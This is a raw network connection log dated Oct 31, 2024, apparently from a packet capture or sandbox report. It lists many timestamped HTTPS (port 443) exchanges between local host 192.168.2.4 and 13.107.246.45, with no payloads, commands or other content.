Oct 31, 2024 11:28:30.247066975 CET	443	49925	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:30.247777939 CET	49925	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:30.247788906 CET	443	49925	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:30.248349905 CET	49923	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:30.248363972 CET	443	49923	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:30.249077082 CET	49923	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:30.249082088 CET	443	49923	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:30.249473095 CET	49924	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:30.249483109 CET	443	49924	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:30.250138998 CET	49924	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:30.250144958 CET	443	49924	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:30.361247063 CET	443	49926	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:30.361298084 CET	443	49926	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:30.361387014 CET	49926	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:30.361545086 CET	49926	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:30.361552000 CET	443	49926	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:30.361582041 CET	49926	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:30.361588001 CET	443	49926	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:30.364613056 CET	49928	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:30.364634991 CET	443	49928	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:30.364716053 CET	49928	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:30.364842892 CET	49928	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:30.364857912 CET	443	49928	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:30.373162985 CET	443	49925	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:30.373373032 CET	443	49925	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:30.373414040 CET	443	49925	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:30.373461008 CET	49925	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:30.373528957 CET	49925	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:30.373544931 CET	49925	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:30.373555899 CET	443	49925	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:30.373579979 CET	49925	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:30.373584986 CET	443	49925	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:30.375854015 CET	49929	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:30.375866890 CET	443	49929	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:30.375878096 CET	443	49927	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:30.375940084 CET	443	49927	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:30.376003027 CET	49927	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:30.376003027 CET	49929	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:30.376049995 CET	49929	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:30.376060009 CET	443	49929	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:30.376187086 CET	49927	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:30.376194954 CET	443	49927	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:30.376203060 CET	49927	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:30.376207113 CET	443	49927	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:30.376579046 CET	443	49923	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:30.376658916 CET	443	49924	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:30.376797915 CET	443	49923	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:30.376846075 CET	443	49924	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:30.376869917 CET	49923	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:30.376920938 CET	49924	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:30.376935005 CET	443	49923	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:30.376988888 CET	49923	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:30.377110004 CET	49924	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:30.377110958 CET	49924	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:30.377119064 CET	443	49924	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:30.377127886 CET	443	49924	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:30.377542973 CET	49923	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:30.377552032 CET	443	49923	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:30.377574921 CET	49923	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:30.377579927 CET	443	49923	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:30.379381895 CET	49930	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:30.379393101 CET	443	49930	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:30.379466057 CET	49930	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:30.379863024 CET	49930	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:30.379875898 CET	443	49930	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:30.379901886 CET	49931	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:30.379911900 CET	443	49931	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:30.380037069 CET	49931	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:30.380098104 CET	49931	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:30.380109072 CET	443	49931	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:30.380770922 CET	49932	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:30.380800009 CET	443	49932	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:30.380943060 CET	49932	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:30.380979061 CET	49932	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:30.380991936 CET	443	49932	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:31.094655991 CET	443	49928	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:31.095241070 CET	49928	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:31.095267057 CET	443	49928	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:31.095752954 CET	49928	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:31.095757961 CET	443	49928	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:31.104737997 CET	443	49930	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:31.105314970 CET	49930	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:31.105320930 CET	443	49930	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:31.105657101 CET	49930	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:31.105660915 CET	443	49930	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:31.107281923 CET	443	49929	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:31.107553959 CET	49929	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:31.107562065 CET	443	49929	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:31.107897043 CET	49929	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:31.107909918 CET	443	49929	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:31.109493971 CET	443	49932	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:31.109807014 CET	49932	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:31.109824896 CET	443	49932	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:31.110820055 CET	49932	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:31.110826015 CET	443	49932	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:31.113598108 CET	443	49931	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:31.113923073 CET	49931	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:31.113933086 CET	443	49931	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:31.114315033 CET	49931	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:31.114319086 CET	443	49931	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:31.378752947 CET	443	49928	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:31.378798962 CET	443	49928	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:31.378851891 CET	443	49928	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:31.378890038 CET	49928	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:31.378942013 CET	49928	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:31.379112005 CET	443	49929	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:31.379187107 CET	443	49929	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:31.379209995 CET	49928	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:31.379218102 CET	443	49930	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:31.379230976 CET	443	49928	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:31.379234076 CET	49929	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:31.379256010 CET	49928	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:31.379265070 CET	443	49928	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:31.379288912 CET	443	49930	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:31.379340887 CET	49930	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:31.379350901 CET	443	49930	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:31.379357100 CET	49929	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:31.379378080 CET	443	49929	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:31.379396915 CET	49929	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:31.379403114 CET	443	49929	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:31.379451990 CET	443	49930	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:31.379503965 CET	49930	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:31.380017996 CET	49930	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:31.380028963 CET	443	49930	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:31.380044937 CET	49930	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:31.380049944 CET	443	49930	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:31.382525921 CET	49933	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:31.382553101 CET	443	49933	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:31.382615089 CET	49934	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:31.382622957 CET	49933	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:31.382642031 CET	443	49934	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:31.382755995 CET	49934	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:31.382760048 CET	49933	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:31.382774115 CET	443	49933	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:31.382850885 CET	49934	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:31.382863998 CET	443	49934	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:31.383555889 CET	49935	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:31.383564949 CET	443	49935	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:31.383632898 CET	49935	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:31.383776903 CET	49935	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:31.383780956 CET	443	49935	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:31.498842001 CET	443	49931	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:31.499852896 CET	443	49931	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:31.499917984 CET	49931	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:31.499962091 CET	49931	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:31.499977112 CET	443	49931	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:31.499989033 CET	49931	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:31.499994040 CET	443	49931	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:31.502509117 CET	49936	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:31.502526999 CET	443	49936	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:31.502593994 CET	49936	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:31.502705097 CET	49936	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:31.502718925 CET	443	49936	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:31.510251045 CET	443	49932	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:31.510281086 CET	443	49932	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:31.510332108 CET	443	49932	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:31.510339975 CET	49932	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:31.510399103 CET	49932	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:31.510565996 CET	49932	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:31.510590076 CET	443	49932	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:31.510601044 CET	49932	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:31.510607004 CET	443	49932	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:31.512583971 CET	49937	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:31.512629986 CET	443	49937	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:31.512736082 CET	49937	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:31.512864113 CET	49937	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:31.512882948 CET	443	49937	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:32.104847908 CET	443	49935	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:32.105592966 CET	49935	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:32.105604887 CET	443	49935	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:32.106060028 CET	49935	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:32.106065035 CET	443	49935	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:32.113377094 CET	443	49933	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:32.113811016 CET	49933	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:32.113818884 CET	443	49933	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:32.114238977 CET	49933	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:32.114243031 CET	443	49933	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:32.123677969 CET	443	49934	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:32.124028921 CET	49934	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:32.124037027 CET	443	49934	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:32.124356031 CET	49934	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:32.124360085 CET	443	49934	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:32.233347893 CET	443	49935	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:32.233469963 CET	443	49935	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:32.233584881 CET	49935	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:32.233680010 CET	49935	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:32.233696938 CET	443	49935	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:32.233712912 CET	49935	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:32.233719110 CET	443	49935	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:32.234426975 CET	443	49936	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:32.234941959 CET	49936	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:32.234970093 CET	443	49936	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:32.235399008 CET	49936	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:32.235404968 CET	443	49936	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:32.236974001 CET	49938	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:32.237001896 CET	443	49938	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:32.237066984 CET	49938	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:32.237243891 CET	49938	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:32.237255096 CET	443	49938	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:32.240653038 CET	443	49933	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:32.240703106 CET	443	49933	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:32.240767956 CET	49933	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:32.240900040 CET	49933	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:32.240900040 CET	49933	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:32.240906954 CET	443	49933	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:32.240914106 CET	443	49933	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:32.243273973 CET	49939	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:32.243319035 CET	443	49939	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:32.243385077 CET	49939	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:32.243503094 CET	49939	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:32.243519068 CET	443	49939	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:32.260880947 CET	443	49934	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:32.261039019 CET	443	49934	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:32.261105061 CET	49934	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:32.261161089 CET	49934	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:32.261161089 CET	49934	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:32.261177063 CET	443	49934	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:32.261188984 CET	443	49934	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:32.263252020 CET	49940	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:32.263269901 CET	443	49940	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:32.263329983 CET	49940	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:32.263494968 CET	49940	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:32.263508081 CET	443	49940	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:32.271270037 CET	443	49937	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:32.271704912 CET	49937	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:32.271728992 CET	443	49937	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:32.272171974 CET	49937	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:32.272181988 CET	443	49937	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:32.364393950 CET	443	49936	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:32.364448071 CET	443	49936	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:32.364528894 CET	49936	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:32.364772081 CET	49936	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:32.364780903 CET	443	49936	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:32.364792109 CET	49936	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:32.364797115 CET	443	49936	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:32.367815018 CET	49941	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:32.367863894 CET	443	49941	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:32.368045092 CET	49941	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:32.368196011 CET	49941	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:32.368211031 CET	443	49941	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:32.405472040 CET	443	49937	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:32.405525923 CET	443	49937	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:32.405745029 CET	49937	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:32.405780077 CET	49937	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:32.405797958 CET	443	49937	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:32.405803919 CET	49937	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:32.405810118 CET	443	49937	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:32.408278942 CET	49942	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:32.408320904 CET	443	49942	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:32.408397913 CET	49942	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:32.408528090 CET	49942	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:32.408540964 CET	443	49942	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:32.978178024 CET	443	49939	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:32.978190899 CET	443	49938	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:32.980684996 CET	443	49940	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:33.029496908 CET	49939	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:33.040932894 CET	49939	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:33.040936947 CET	443	49939	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:33.041393042 CET	49939	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:33.041397095 CET	443	49939	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:33.041580915 CET	49938	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:33.041594982 CET	443	49938	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:33.041645050 CET	49940	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:33.079019070 CET	49938	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:33.079030991 CET	443	49938	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:33.079257965 CET	49940	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:33.079266071 CET	443	49940	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:33.088841915 CET	49940	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:33.088849068 CET	443	49940	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:33.126883030 CET	443	49941	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:33.151009083 CET	443	49942	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:33.162854910 CET	49941	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:33.162888050 CET	443	49941	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:33.163278103 CET	49941	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:33.163284063 CET	443	49941	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:33.163474083 CET	49942	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:33.163481951 CET	443	49942	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:33.163808107 CET	49942	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:33.163813114 CET	443	49942	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:33.166853905 CET	443	49939	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:33.167001009 CET	443	49939	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:33.167068958 CET	49939	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:33.167253017 CET	49939	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:33.167258024 CET	443	49939	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:33.167265892 CET	49939	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:33.167269945 CET	443	49939	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:33.175597906 CET	49943	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:33.175628901 CET	443	49943	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:33.175775051 CET	49943	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:33.175941944 CET	49943	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:33.175954103 CET	443	49943	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:33.208131075 CET	443	49938	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:33.208482981 CET	443	49938	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:33.208528996 CET	443	49938	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:33.208579063 CET	49938	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:33.208623886 CET	49938	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:33.211968899 CET	443	49940	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:33.212002993 CET	443	49940	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:33.212059021 CET	443	49940	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:33.212069035 CET	49940	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:33.212138891 CET	49940	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:33.231344938 CET	49938	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:33.231369972 CET	443	49938	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:33.231388092 CET	49938	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:33.231395006 CET	443	49938	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:33.232290983 CET	49940	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:33.232300043 CET	443	49940	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:33.232314110 CET	49940	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:33.232319117 CET	443	49940	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:33.235538006 CET	49944	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:33.235563040 CET	443	49944	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:33.235644102 CET	49944	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:33.236227036 CET	49945	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:33.236273050 CET	443	49945	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:33.236351013 CET	49945	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:33.236510992 CET	49944	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:33.236527920 CET	443	49944	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:33.236848116 CET	49945	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:33.236861944 CET	443	49945	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:33.291129112 CET	443	49942	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:33.291165113 CET	443	49942	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:33.291220903 CET	443	49942	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:33.291274071 CET	49942	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:33.291480064 CET	49942	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:33.291493893 CET	443	49942	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:33.291526079 CET	49942	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:33.291532040 CET	443	49942	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:33.294075966 CET	443	49941	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:33.294152021 CET	443	49941	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:33.294256926 CET	49946	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:33.294285059 CET	443	49946	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:33.294354916 CET	49946	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:33.294416904 CET	49941	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:33.294537067 CET	49941	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:33.294557095 CET	443	49941	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:33.294574022 CET	49941	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:33.294579983 CET	443	49941	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:33.295980930 CET	49946	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:33.295994997 CET	443	49946	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:33.297591925 CET	49947	443	192.168.2.4	13.107.246.45
